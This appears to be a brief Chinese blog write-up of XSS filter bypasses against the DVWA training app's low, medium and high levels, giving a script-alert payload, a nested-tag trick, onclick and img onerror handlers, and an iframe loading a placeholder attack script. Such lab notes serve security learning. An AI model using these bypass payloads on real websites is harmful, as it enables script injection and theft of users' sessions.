DVWA的Xss跨站總結

Xss跨站總結

初級防禦的代碼

Poc：<script>alert(1)</script>

 

 

上圖防禦的代碼 爲輸入的結果就爲輸出的結果

中級防禦的代碼

Poc：<scri<script>pt>alert(1)</script>

 

上圖爲輸入的文本中只要包含<script>就給替換成空

解決思路：<scri<script>pt>alert(1)</script>  在<script>中再添加一個<script> 後添加的<script>替換爲空可是外面的<script>依舊能夠拼接起來。

 

高級防禦的代碼

 

圖上爲只要包含script就替換掉

解決方法：

<a href=」 onclick=alert(‘xss’)>zet</a>      #建立一個點擊鍵zet點擊後執行onclick=alert(‘xss’)

<img src=http://172.16.1.23/a.jpg onerror=alert(‘xss’)>  #當錯誤時執行alert(‘xss’)

<iframe width=300 height=100 src=」http://攻擊腳本地址」></iframe>